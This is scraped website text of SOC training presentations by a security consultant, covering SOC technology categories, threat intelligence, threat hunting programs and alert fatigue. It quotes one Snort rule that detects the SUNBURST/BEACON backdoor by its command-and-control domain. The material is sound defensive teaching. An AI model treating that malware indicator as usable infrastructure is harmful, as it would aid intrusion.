Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1k8fzbINz9usH_gRgkOAizhwGeISkxJGK/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1k8fzbINz9usH_gRgkOAizhwGeISkxJGK/view?usp=drive_link]** Failure to address skill gaps will hurt your business. Montance® LLC Technology Evaluations Finding the Right Solutions for Your SOC Part II: Communications, Ops, Detection & Prevention Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Introductions Amanda Davi Director of Business Development Cybrary Chris Crowley Consultant, Author of SOC-Class.com Montance ®LLC Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Overview ● Start of a new series ○ Conduct a deep dive on technology ○ Relies heavily on the framework discussed in our previous series ■ Hint: Go watch those if you haven’t already ● Overall taxonomy ○ High-level taxonomy ○ How the parts go together ○ Dig into the details of the technologies Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Recap SOC-Class Model Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. My SOC “Reference Model” Created for SOC-Class.com Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Technology Overview Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Technology ● Visibility: weather, IT monitoring, threat intelligence, partner/dependency visibility ● Communication: status portals, email, chat, telephone ● Ops: ticketing, SOAR, dev/qa/stage of SOC operational systems ● Detection & Prevention: endpoint, network, infra-/extra-structure, correlation ● Storage: aggregation, long-term storage, destruction ● Deception: models, decoys, containment nets, honey-*, fake accounts and personas ● Analysis: code, hardware, baselining, mapping, correlation, scanning, forensics ● Do you have a list of all your tech, categorized, with gap analysis for future capability? ● Technology is only one part of maturity Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Technology ● I advise organizations on security operations and assess maturity of SOCs ● I start with a “complete list” that I narrow based on drivers, needs, systems to defend ● Identify a budget-appropriate technology portfolio for organization and its culture ● Is open-source OK? Can McAfee/Kaspersky… be installed? (Legal/governmental alignment and prohibitions) ● Staff in place who are capable to deploy and maintain the tool ● Technologies should be compatible, effective, supported, secure, and fit into the operational capability of the organization Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Communication Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCCommunication PhoneEncryption for CommunicationWebsitesPortals: Status, Metrics, Incident, Ticketing Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Ops Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCOperations Automation & OrchestrationTicketingCorrelation of Asset to OwnerDev,QA,Stage of tools Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Detection & Prevention Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCDetection & Prevention Endpoint Network Infrastructure Extrastructure Correlation Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Care & Feeding Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Keeping the Lights on Isn’t Enough ● Many SOCs do little more than operate systems, never get to in-depth analysis ○ Poor budgeting ○ Misunderstanding of what the SOC is supposed to do by management (lack of management support) ○ Staff shortage, lack of empowerment, lacking clear boundaries of authority (results in overreach, then hesitance) ● Resolutions ○ Outsource the tool management if feasible ○ Consistently convey the SOCs responsibility as analytical and threat-focused, with monitoring and incident handling responsibility ○ Develop programs for automated detections (develop use cases) ○ Also hunt: ad hoc, sloppy, but structured and progressively more repeatable in structure, enabling progressively more creative and unstructured hunting Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Conclusion Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Conclusion ● Today we covered ○ Communication, Ops, Detection & Prevention ● In the last session, we’ll cover ○ Storage, Deception, and Analysis ○ Orchestrating and automating technology to develop effective data use and technology selection criteria Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Let’s Connect Amanda Davi adavi@cybrary.it linkedin.com/in/amanda-davi www.cybrary.it/businessChris Crowley chris@montance.com mgt517.com/linkedin www.soc-class.com Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLCFailure to address skill gaps will hurt your business. Resources ● Cybrary SOC Career Paths ○SOC Analyst Level 1 ○SOC Analyst Level 2 ○SOC Analyst Level 3 ● Montance® SOC-Class: Online in December ○https://soc-class.com ●SOC Survey Key Findings and Results Video Series : https://soc-survey.com ● Maximizing Security Operations, on-demand 4-part series ○ Part 1: The Role of a SOC ○ Part 2: SOC Architecture and Management ○ Part 3: SOC Staffing and Incident Response ○ Part 4: Enhance SOC Capability and Maturity Montance® LLC Failure to address skill gaps will hurt your business. Montance® LLC Thanks For Joining Us! Montance® LLC --- ## Source: https://montance.com/questions.php?id=162 [![pdf](content/images/icons/pdf.svg) DarkReading Montance TITH](https://drive.google.com/file/d/1l_hWE7XSH6LFbWN8ziHiS99QBQk0I43o/view?usp=drive_link) DarkReading Montance TITH Presentation by Christopher Crowley (2021-10-15) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for DarkReading Montance TITH ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1l_hWE7XSH6LFbWN8ziHiS99QBQk0I43o/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1l_hWE7XSH6LFbWN8ziHiS99QBQk0I43o/view?usp=drive_link]** Christopher Crowley•Consultant: Montance® •SOC-Class.com Design, Build, Operate and Mature your SOC. •SOC-Survey.com: 2017-2021 •SANS Senior Instructor •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom… Montance® LLC 1 Threat Intel: Definition SOC-Class.com || Montance® LLC2Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? ThreatIntel -Defined•Simple: Threats exploit vulnerabilities to cause cybersecurity incidents. Information about the threat is threat intelligence. •Centerfor Internet Security: becomes threat intelligence (as opposed to raw data) after rigorous review and contextualization •Gartner: Evidence based knowledge including context, mechanisms, indicators, implications, and actionable advice, about an existing or emerging menace… •MITRE ATT&CK: community collected threat intelligence Montance® LLC 3 Threat Intel: Types and Examples SOC-Class.com || Montance® LLC4Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Threats -taxonomy (B$,M$,T$)Montance® LLC 5•This adapted figure (ES.1 Threat Taxonomy) from US DOD Defense Science Board report Resilient Military Systems… •groups threats into ten, million, and billion dollar level resource capability clubs where: •$T: reuse vulnerabilities, •$M: discover vulnerabilities, •$B: create vulnerabilities. https://nsarchive2.gwu.edu/NSAEBB/NSAEBB424/docs/Cyber-081.pdf $ Billions $ Millions $ Tens Strategic•Strategic: Policy level formulation •Example: we only use two factor authentication due to risks associated with passwords Montance® LLC 6 Operational•Operational: Information about events and campaigns of attack by a threat actor •Example: SUNBURST / Solarwinds SolarWinds.Orion.Core.BusinessLayer.dll •From a Mandiant report on this: •Dormant for weeks, retrieves jobs directing action •Traffic masquerades as Orion Improvement Program (OIP) protocol •Data stored in valid config files within SolarWinds Orion directories to mask activity Montance® LLC 7 Tactical•Tactical –specific techniques the attacker uses •Example: SolarWinds BEACON Snort Rule alert tcp$HOME_NET any -> any 443 (msg:"Backdoor.BEACON"; content:"|16 03 03|"; depth:3; content:"websitetheme.com"; sid:77600866; rev:1;) #https://github.com/fireeye/sunburst_countermeasures/blob/main/LICENSE.txt #Copyright 2020 by FireEye, Inc. Montance® LLC 8 Threats -privacy•Privacy can be violated through location information, microphone, camera, calendar, or •review of private conversations by unauthorized parties (government, employer, competitor, advertiser, spouse, …). •A lot of people find advertisement relevant to private conversations “creepy” but accept it. Phone, messaging, home automation… have access to relevant areas of interest. •Chat applications might allow the application vendor insight into the details of conversations. •While many messaging application vendors have moved to end-to- end encryption to protect content and remove themselves from the man-in-the-middle position, the application running on the mobile still sees the decrypted conversation and can use it to eavesdrop or advertise in a targeted fashion. Montance® LLC 9 Threats -financial•Financial fraud is in the billions of dollars per year, US FTC Consumer Sentinel Network Data Book 2019 •shows $1.9B USD total reported losses in 2019 in USA. •There are many ways to conduct this fraud: •theft of credentials (passwords, one-time tokens), •in-app purchase fraud, premium SMSs, •game assets theft and resale, cryptocurrency theft, •direct transfers within banks, •extortion (CryptoLocker, Blackmail,…), and •resell access to device for organizational access or bot. Montance® LLC 10 Threats –Global Geopolitical Influence•The strategic value of information is underscored repeatedly in the news •Information (personal, financial, social, cultural) is used for diplomatic leverage •This information (plus specific military information) is also used for military threats / posturing, and military operations •You may be a pawn (or a Queen) in a larger game Montance® LLC 11 Your primary concern?•You (person or organization) have specific concerns depending on the data you process. •Determining what data is present is a challenge. •Most people blend personal use with business use in a non-compartmentalized fashion. •Threats leverage your data in varying ways •Threat intelligence guides changing behavior and augmenting defense Montance® LLC 12 Threat Intel: Source: Develop Your Own SOC-Class.com || Montance® LLC13Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Collect Your Own•TI is something you can collect and develop •This is expensive, requires expertise, and has substantial startup and maintenance costs •Why do it then? •Because you may be uniquely targeted •Because you don’t want to share what you know or acknowledge what vendors know •Because you don’t want to tell vendors what you’re interested in and concerned about Montance® LLC 14 Threat Intel: Source: Open Sharing SOC-Class.com || Montance® LLC15Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Reference -ATT&CK Groups•ATT&CK framework (attack.mitre.org) has matrices dedicated to: •Enterprise, standard OSes, mobile devices, cloud, ICS, containers •Groups enumerated: attack.mitre.org/groups Montance® LLC 16 Threat Intel: Source: Vetted Sharing SOC-Class.com || Montance® LLC17Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Information Sharing Communities•There are information sharing communities which are effectively non-profit entities •FIRST.org, for example •May be government run: the various country specific CERTs, for example •They may be industry run: •FS-ISAC : Financial •EduCause: Educational Montance® LLC 18 Vendor Offerings•Many vendors offer free and paid for versions of their threat intelligence portals •The contributors of this threat intelligence can assert resharing authorization for only trusted and vetted members •Dark web is a good match for vendor partnership •Your organization’s reputation, payment amount, …, may affect your access to information Montance® LLC 19 Threat Intel: Appropriate Handling SOC-Class.com || Montance® LLC20Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Traffic Light Protocol•TLP –Traffic Light Protocol (Don’t Spoil the Info) •TLP:RED –Sharing Not Authorized. •TLP:AMBER –Sharing with trusted parties, risks damage to parties involved if leaked. •TLP:GREEN –Useful for awareness, and action within sector and partners. Not publicly shareable. •TLP:WHITE –Shareable, with no likelihood for misuse Montance® LLC 21 Threat Intel: Application SOC-Class.com || Montance® LLC22Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Strategic: Application•Resource and expenditure planning •Organizational mission planning •Organizational investment guidance •Organizational regional deployment planning •Define your organization’s security posture Montance® LLC 23 Operational: Application•Focus available resources on the most likely threat vectors you will encounter •Build new systems with resistance to recent and projected threats •Develop, collect, and share information from partners to track actor’s activity for current and future potential identification, investigation, and response Montance® LLC 24 Tactical: Application•Identify previously unknown intrusions •Develop, collect, and share details relevant to specific intrusions for assessment purposes •Gain detailed insight into your potential next steps for investigation, containment, investigation, and response •Identify scope of intrusion in your environment •Spoil threat’s capability from being effective against others Montance® LLC 25 Hunting: Supporting Requirements Use Case DefinitionA Cyber Security Use Case describes a relevant scenario of compromise and potential method(s) of detecting this offensive activity. @CCrowMontanceBusiness relevance Characteristics Artifacts Detection Enrichment Implementation Assessment Review Use Cases Engineering•SOC Use Cases: An Engineering Effort •Identify scenario of interest and business relevance •Characteristics of scenario (decompose it) •Related Artifacts •Detection opportunities in data •Enrichment opportunities in data (Threat Info, Correlation) •Implementation •Monitoring / Assessment •Revision / Review / ExpirationCrowley detailed use-case talk: mgt517.com/use-cases SOAR•My SOAR mentality: Orchestration / Automation is great, once you know what you are doing •Automation paradox: complex systems tend to be more automated, and require human intervention to avoid damage in unexpected scenarios. But human capability to intervene is diminished by the automation •O&A: doesn’t eliminate the need for actual analysis https://mgt517.com/soar-pres https://mgt517.com/soar-video Metrics•Metrics: Carson Zimmerman and I collaborated on a talk that he presented at FIRST on what metrics you should: collect, report, and should be service level objective (SLO) •Short story, you can create perversion in your analyst behavior by metrics: collect, measure, assess, and report on the stuff that really indicates value providedhttps://mgt517.com/first-video https://mgt517.com/first-talk Ongoing InteractionReport Metrics IT Planning Ingest Threat IntelHuntingUse Cases Plan Hunt (Kill) ReportsDevelop Hunt Tools Overview of Hunting Program Everyone Hunts•First off, I think everyone on the security team hunts as a part of every security job •Everyone can come up with a novel idea, everyone has distinct perspective on shortcomings of the existing capability •Doesn’t exclude a dedicated hunt team Value of Hunting•Metrics to demonstrate value and justify time: •“Kills” –actually identified incidents •Posture Enhancements (PEs) identified •“Wins” count: action based on Hunt PEs •A picture of our tools and what they do for us •Enhanced picture of the systems we defend, who those belong to, and high confidence there’s nothing we’ve overlooked Threat Hunting•Investigation of data presuming alerting failed •Review all DNS requests for oddities •Check all TLS (tcp port 443) connections for the certificates in use. If no certificate is in use, this is automatically suspicious •Check the IP addresses accounts have logged in from, least frequency of occurrence analysis of each account for outliers •Encourage the team to try novel approaches and build operational tasks from this novelty Abstracted Concept of Threat Hunting•Bianco –SANS Threat Hunting & IR Summit talk •General principles for outlier detection •Least frequency of occurrence (stack ranking, long tail) •Scatter plots •Box plots •Isolation forests (pictured to the right) •The idea is to try to find things that are different than the rest, these generalizable methods can be deployed to identify potential items of interest Hunt Plan Procedure: Plan Syntax•Serial Number: Hunt-2020-000 •Instance Number (Serial--MM-DD-INSTANCE): 2020-000--01-16-000 •Name: Tool Hunt •Purpose: Identify tool inventory •Data Required: All inventory documents •Collection Considerations: Possible lack of access regarding private internal investigations •Analysis technique: Manual review and tool based sorting •References and notes: Forced to do this boring hunt! Hunt Plan SpreadsheetSerialNumber PK - INTEGER: [UNIQUE] : 7 Name: VARCHAR: C. Crowley Purpose: VARCHAR: Fully enumerate and document tools within SecOps Team DataRequired: VARCHAR: All SecOps inventory documents (future: database of data sources from SEcOps Tool Hunt) CollectionConsiderations: VARCHAR: Possible lack of access regarding private internal investigations Analysistechnique: VARCHAR: Default: Manual review and tool based sorting (future: pull existing analysis techniques) References and notes: VARCHAR: Default: Forced to do this boring hunt!•Every hunt starts with a plan •Broad latitude to vary and adjust during hunt (capture variation in report, not changed plan, different plan next time –or not) Report Procedure•Have a report plan for each report instance: multiple people can report on the same hunt •Detects: simple count of identified issues/instances •Operational Capture: Where we found it: hostnames, accounts, system names (normalized), IP addr, etc. •Scripts: Path to the script (even draft form), pseudo code right into the report, githubproject developed •Posture Improvement: Posture Improvement Report # •NIDS/HIDS rules: Rule-Serial-Number •Candidate for Use Case? [YES|NO] Hunt Report Spreadsheet•High Value: Consistency across team, avoid needless duplication, repeatability, easy summary metrics SerialNumber PK - INTEGER: [UNIQUE] : 7 ReportInstance Detects: INTEGER: Count of detects Operational Capture: VARCHAR: Locations Scripts: VARCHAR: PathCanonical: Path-to-Script Posture Improvement: VARCHAR: Ticketing: PI-Report_number NIDS/HIDS rules: VARCHAR: NIDS|HIDS: Rule-Serial-Number Candidate for Use Case? CONSTRAINT: [YES|NO] Threat Hunting Artifacts•Actual detects •Operational capture of assessment performed •Scripts •NIDS / HIDS rules •Repeatable tasks for SOC to be more efficient •Pre-collection / digestion of available data •Ideas for SIEM Use Cases •Posture improvement for the organization Hunt Recap Report Syntax•All Hunts end with a hunt recap report providing: Consistency Across Team, Repeatability, Easy Summary Metrics •Hunt recap report syntax: •Serial Number: Hunt-2020-000 •Instance Number (Serial--MM-DD-INSTANCE): 2020-000--01-16-000 •Name: SecOps Tool Hunt •Detects: Integer (count) •Operational Capture: Locations surveyed •Scripts: Scripts to poll locations surveyed in the future •Posture Improvement: recommendation on how to fix the SecOps inventory •NIDS/HIDS rules: possible to write a rule to identify tool use (Crowdstrike? Yara? NIDS?) within network? •Candidate for Use Case? [YES|NO] Adapt•Review: metrics reported and self-assessment •Revision: update the program for hunting to make data capture simpler, building a script is the first step, moving it to ticketing system or SOAR system is the next step •Repeat (with variations): doing the same thing the same way multiple times shows which parts are tedious, and should be automated away. Hunting isn’t about use cases and alerts, it’s about developing manual dexterity and building the program from this manual capability Current Example FireEye Red Team Tools: Solarwinds•Dec 8, 2020: FireEye announced a breach: They are highly trained in operational security and executed with discipline and focus. They operated clandestinely, using methods that counter security tools and forensic examination. They used a novel combination of techniques not witnessed by us or our partners in the past. •How did FireEye defense team find a novel threat operation on their network? •Vigilance and skepticism of their own tools and use cases. (aka Hunting) Good Hunting Drives Good Engineering•Hunting is “clumsy but swift” yet we want swiftness to inform where the engineering effort is actually worth deploying a lot of effort •One hunting outcome is ideas for use cases •Hunts show gaps and oversights, posture improvement recommendations and revisions are another outcome of hunts •Leverage vendor partners and community efforts as the basis of your engineered detections, then customize as appropriate for your environment, hunting helps develop these customizations Montance® LLC 46 --- ## Source: https://montance.com/questions.php?id=161 [![pdf](content/images/icons/pdf.svg) FORCEDENTRY](https://www.sans.org/blog/what-you-need-to-know-about-cve-2021-30860-aka-forcedentry/?soc-class=true) FORCEDENTRY Presentation by Christopher Crowley (2021-09-23) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for FORCEDENTRY ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=129 [![pdf](content/images/icons/pdf.svg) DarkReading Qualys AlertFatigue.pdf](https://drive.google.com/file/d/1l_h_89UftZXJQ7aMbJP37iHfInkubHTh/view?usp=drive_link) Darkreading Qualys AlertFatigue Presentation covering Ops Reality titled 'Darkreading Qualys AlertFatigue'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the primary problem addressed in this report? A: Alert Fatigue in Security Operations Centers. * Q: How does Qualys propose to reduce alert fatigue? A: By providing better context and prioritization of vulnerabilities and threats. * Q: What is 'AssetView'? A: A Qualys service that provides a unified view of IT assets to help prioritize risks. * Q: What is the relationship between 'Vulnerability' and 'Threat' in prioritization? A: Prioritize vulnerabilities that have active threats/exploits against them. * Q: What is 'ThreatPROTECT'? A: A Qualys module that correlates vulnerability data with real-time threat intelligence. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1l_h_89UftZXJQ7aMbJP37iHfInkubHTh/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1l_h_89UftZXJQ7aMbJP37iHfInkubHTh/view?usp=drive_link]** Christopher Crowley•Consultant: Montance® •SOC-Class.com: Design, Build, Operate and Mature your SOC. •SOC-Survey.com: 2017-2021 •SANS Senior Instructor •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom… Montance® LLC 1 Current State SOC-Class.com || Montance® LLC2Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? (How) Is Security Still a Problem?•We’ve been alert-driven for two decades •(Prior to that, we didn’t even have alerts to chase) Montance® LLC 3 Source: Verizon 2021 Data Breach Investigations Report No Stagnation in the Industry•Prevailing sentiment is there’s little progress being made or things are worse than ever •I disagree, will explain in a couple slides •Losses are worse than ever •Yet, the cybersecurity industry is booming •NYT 2021-07-26: Cyber investment $12B in 2021 so far, up 20% from 2020’s total for entire year •Cyber staff, consistently cited as a growth field •Example: Growing a Stronger Federal Cyber Workforce, Cyberspace Solarium Commission (2020-09-04) Montance® LLC 4 What’s the Fundamental Reason? SOC-Class.com || Montance® LLC5Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? It’s Simple: Function Before Security•Despite substantial improvements in •Operating system and app controls, •System architecture, •Encryption deployments for communication •Multi-factor authentication, •Cybersecurity technology, and •Patching; •IT operations continues to change at a pace that security cannot keep up with. Montance® LLC 6 Systems Pushed to Their Limits•The information systems we deploy are general purpose operating systems, running general purpose processors. •The information systems we deploy have a lifespan on the order of 5 years, then are obsolete. •If you don’t regularly articulate this reality, start. •These brainsoften power durable goods with substantially longer expected lifespans without plans for updating and retrofitting new brains. Montance® LLC 7 Effectively Profiting From the Gap•With functionality prioritized over security, and information systems engineered to be capable of running lots of things and often retained well beyond the intended lifespan, •Cybersecurity is tasked with filling the Gap •Threat actors look for profit opportunities, and have been extremely successful. This is a “tax” on the global information ecosystem. Montance® LLC 8 Our Task is to Minimize Impact from this Weakness SOC-Class.com || Montance® LLC9Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Cybersecurity Fills the Gap•Our cyber mission is to deal with the shortcomings of the systems as deployed •Keep them running optimally and protect the data within them from disclosure and alteration •This entails ongoing: •posture reconciliation, maybe even improvement •noticing when something is going awry, and responding to minimize the damage •Some ways to do this Montance® LLC 10 Do All of The Following•Some specific items follow •They’re not mutually exclusive, employ any and all of these techniques •Each represents a facet of our resilience and adaptively converting the burden of too much information into something useful Montance® LLC 11 Better Business Alignment SOC-Class.com || Montance® LLC12Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Optimize What Is Ignored•Constantly evangelize your need-to-know to uncover business relevance. It takes confidence to focus only on some systems without attempting to cover all possible defensive opportunities. It takes discipline to be a SOC who doesn’t help everyone who requests assistance. •Start: MITRE ATT&CK defensive coverage based on sector-focused threat information indicates where your coverage is best spend •Maturing: Track what you’ve encountered and cases of suffered impacts to augment defenses •Optimized: Business-risk coordinated use case development for detection and response capability Montance® LLC 13 Better Metrics SOC-Class.com || Montance® LLC14Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Optimize Collected Data and Analysis•Most metrics used and reported are ineffective and driving performance •Mean time to X is a standard metric, telling people to go faster, frequently without a corresponding quality measure •Quantify impact. It’s a harder metric to calculate, and takes business alignment to derive. But it shows where we deploy security well and where we don’t (because there was a big impact). Montance® LLC 15 Better Detection Engineering SOC-Class.com || Montance® LLC16Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Detection Engineering•Using data available to make better decisions about deploying cybersecurity resources •Multiple variations on the same technique •Detection opportunities by more rigorous IT deployments and operational practices •Threat Intelligence to determine methods adversaries deploy •Better visibility through instrumentation of operating systems and applications •Differentiation between normal and unauthorized using behaviorally cued data elements •could be trained through observation and historical tracking or machine learning techniques or speculated Montance® LLC 17 Embrace Hunting as a Paradigm SOC-Class.com || Montance® LLC18Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Hunting as a Paradigm“Therefore I have heard of military operations that were clumsy but swift, but I have never seen one that was skillful and lasted a long time .” –The Art of War, Sun Tzu •Not always enough time to engineer good detections •Develop a framework for hunts, and use that rigor to cultivate creativity and relentless pursuit in your cybersecurity staff. •We’re compromised, but we can’t yet see it Montance® LLC 19 Good Hunting Drives Good Engineering•Hunting is “clumsy but swift” yet we want swiftness to inform where the engineering effort is actually worth deploying a lot of effort •One hunting outcome is ideas for use cases •Hunts show gaps and oversights, posture improvement recommendations and revisions are another outcome of hunts •Leverage vendor partners and community efforts as the basis of your engineered detections, then customize as appropriate for your environment, hunting helps develop these customizations Montance® LLC 20 Better Tools for Analysts SOC-Class.com || Montance® LLC21Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? The Tools Are Very Good•Automation as standard practice for your team •Ten years ago, security automation meant custom programming; not anymore •But, I consistently hear about the “orchestration/automation project” or implementation: your adaptive state going forward •Behavioral based has shortcomings but is good •List the good, not the bad has been embraced (digital signature restriction: iOS, for example) Montance® LLC 22 More Telemetry than Ever Before•Data instrumentation, ingestion, storage, correlation, and enrichment are abundant •Our tools are positioned to show the analyst what the analyst needs to know •Performance can be good if appropriate optimizations are applied and curated over time •Powerful and fast tools are a reality •Suites of integrated tools (and customizable integration) are readily available Montance® LLC 23 Better Analysts SOC-Class.com || Montance® LLC24Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Our People are Excellent•Cultivate intelligence and analysis •Good work practices: mental health, attentiveness, awareness, skepticism, humility, communication •Mentor staff and cultivate team training and information sharing through threat intel and internal / external training portfolio Montance® LLC 25 Better Analysis SOC-Class.com || Montance® LLC26Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? What’s The SOC’s Methodology?•Maintain an analytical methodology for your SOC team (ACH, for example) •Some SOCs say ACH or “scientific method” because it sounds good, and is not actually consistently implemented or followed •Showing one’s work is part of the responsibility of being an analyst. The methodology supports this explanation / rationale. Montance® LLC 27 Embrace Deception SOC-Class.com || Montance® LLC28Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Make Hacking Your Network Hard!•That’s your network! Make it a scary place for attackers to operate within “You go out with your master skeleton key and unlock the door and you're in. It's not that. Take these big, corporate networks, these large networks, any large network --I will tell you that persistence and focus will get you in, will achieve that exploitation, without the zero-days. ” -Rob Joyce, Chief (at time of Quote) NSA TAO Montance® LLC 29 Easier to Detect•We complain about being overwhelmed because of the difficulty differentiating normal from unauthorized. •Leaving assets around that adversaries might feasibly use, and tracking that use. •Read access on files, rows in databases, file shares in DMZs that shouldn’t be mounted, plain text password file with accounts and passwords. •Observation networks for containment of suspected systems that present potential targets representing a reasonable mirror of your actual network •Email addresses on your website that are spam traps •Phishing lures that supposedly provide “access” to VIPs •“Live off the land” traps listed: LOLBALS-Project Montance® LLC 30 Embrace the Cloud SOC-Class.com || Montance® LLC31Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Cloud•Your network is actually someone else’s network that you’re just a guest in. •If you’re not already architecting this, you’re late •Extract the most important elements and develop your use cases (aforementioned business alignment) •The appropriate place to engage these issues is with your constituents prior to deployment, at the cloud selection and contracting phase. If you’re not present in those meetings , you’ll stay overloaded. Montance® LLC 32 Cloud•This supposed problem is an opportunity for improvement in your security integration into the IT operational cycle. You’re relived of at least 30% of your vulnerability management issues. •The data to monitor is less than your internally managed systems, focus on that available data. •Architect solutions with security integrations and offer that to IT. I have seen many offerings from 3rd parties which address cloud security architecture. Montance® LLC 33 Fight for What is Right SOC-Class.com || Montance® LLC34Copyright 2021 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Focus on Mission for Performance•It’s an unfair and unjust world •While our organizations want an autonomous and automated SOC, for now it comes down to the people who run it to fill the gaps. •When the SOC staff have a mobilized sense of mission, they’ll deal with technology shortcomings, effective adversaries, and a lack of support, yet still rise to the occasion every time. Montance® LLC 35 --- ## Source: https://montance.com/questions.php?id=158 [![pdf](content/images/icons/pdf.svg) Cybrary SOC Series-2 Tech 001](https://drive.google.com/file/d/1lcyHBXka0dRMTqTbfuBQ8ufFyHf6JNOw/view?usp=drive_link) Cybrary SOC Series-2 Tech 001 Presentation by Christopher Crowley (2021-09-14) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Cybrary SOC Series-2 Tech 001 ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1lcyHBXka0dRMTqTbfuBQ8ufFyHf6JNOw/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1lcyHBXka0dRMTqTbfuBQ8ufFyHf6JNOw/view?usp=drive_link]** Technology Evaluations: Finding the Right Solutions for Your SOC Montance® LLC Failure to address skill gaps will hurt your business. Introductions Amanda Davi Director of Business Development Cybrary Chris Crowley Consultant, Author of SOC-Class.com Montance ®LLC Montance® LLC Failure to address skill gaps will hurt your business. Overview ● Start of the second series ○ Deep dive on technology ○ Depends heavily on the framework discussed in our previous series ○ Hint: Go watch those if you haven’t already ● Overall taxonomy ○ High-level taxonomy ○ How the parts go together ○ Start into the details of the technologies Montance® LLC Recap SOC-Class Model Montance® LLC Failure to address skill gaps will hurt your business. My SOC “Reference Model” Created for SOC-Class.com Montance® LLC TechnologyOverview Montance® LLC Failure to address skill gaps will hurt your business. Technology ● Visibility: weather, IT monitoring, threat intelligence, partner/dependency visibility ● Communication: status portals, email, chat, telephone ● Ops: ticketing, SOAR, dev/qa/stage of SOC operational systems ● Detection & Prevention: endpoint, network, infra-/extra-structure, correlation ● Storage: aggregation, long-term storage, destruction ● Deception: models, decoys, containment nets, honey-*, fake accounts and personas ● Analysis: code, hardware, baselining, mapping, correlation, scanning, forensics ● Do you have a list of all your tech, categorized, with gap analysis for future capability? ● Technology is only one part of maturity Montance® LLC Failure to address skill gaps will hurt your business. Technology ● I advise organizations on security operations and assess maturity of SOCs ● I start with a “complete list” that I narrow based on drivers, needs, systems to defend ● Identify a budget-appropriate technology portfolio for organization and its culture ● Is open-source OK? Can McAfee/Kaspersky… be installed? (Legal/governmental alignment and prohibitions) ● Staff in place who are capable to deploy and maintain the tool ● Technologies should be compatible, effective, supported, 